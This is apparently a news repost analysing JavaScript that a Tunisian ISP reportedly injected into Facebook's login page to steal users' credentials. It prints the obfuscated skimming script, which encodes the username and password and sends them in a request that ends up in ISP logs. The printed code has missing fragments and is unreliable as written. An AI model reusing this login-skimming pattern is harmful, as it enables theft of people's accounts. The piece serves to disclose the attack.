You perhaps have followed the recent actualities about Tunisian Government stealing accounts on facebook.
Read More Here...
The Hacker News

There's how they do:
Here's the web page of Facebook as seen when you're connected in Tunisia
Let's take a look at that javascript curious part..

function h6h(st){var st2="";for(i=0;i<st.length;i++){c=st.charCodeAt(i);ch=(c&0xF0)>>4;cl=c&0x0F;
st2=st2+String.fromCharCode(ch+97)+String.fromCharCode(cl+97);}return st2;}
function r5t(len){var st="";for(i=0;i<len;i++)st=st+String.fromCharCode(Math.floor(Math.random(1)*26+97)); return st;}
function hAAAQ3d() { var frm = document.getElementById("login_form"); var us3r =; var pa55 = frm.pass.value; var url = ""+r5t(5)+"&u="+h6h(us3r)+"&p="+h6h(pa55); var bnm = navigator.appName; if(bnm=='Microsoft Internet Explorer') inv0k3(url); else inv0k2(url);}
function inv0k1(url) {var objhq = document.getElementById("x6y7z8"); objhq.src = url;}
function inv0k2(url) {var xr = new XMLHttpRequest();"GET", url, false); xr.send("");}
function inv0k3(url) {var xr = new ActiveXObject('Microsoft.XMLHTTP');"GET", url, false); xr.send("");}

This code is injected by the ISP (Internet service provider) itself and appears in no others country, this JS code do a query to with the username and password in clear, the "wo0dh3ad" page of course don't exist on facebook's server, but the ISP could simply do an "grep wo0dh3ad /var/log/FAI.log" to get all the passwords of their subscribers in clear.

Original post by @r00tBSD :

News Source : Jerry Hassan

Found this article interesting? Follow us on Twitter and LinkedIn to read more exclusive content we post.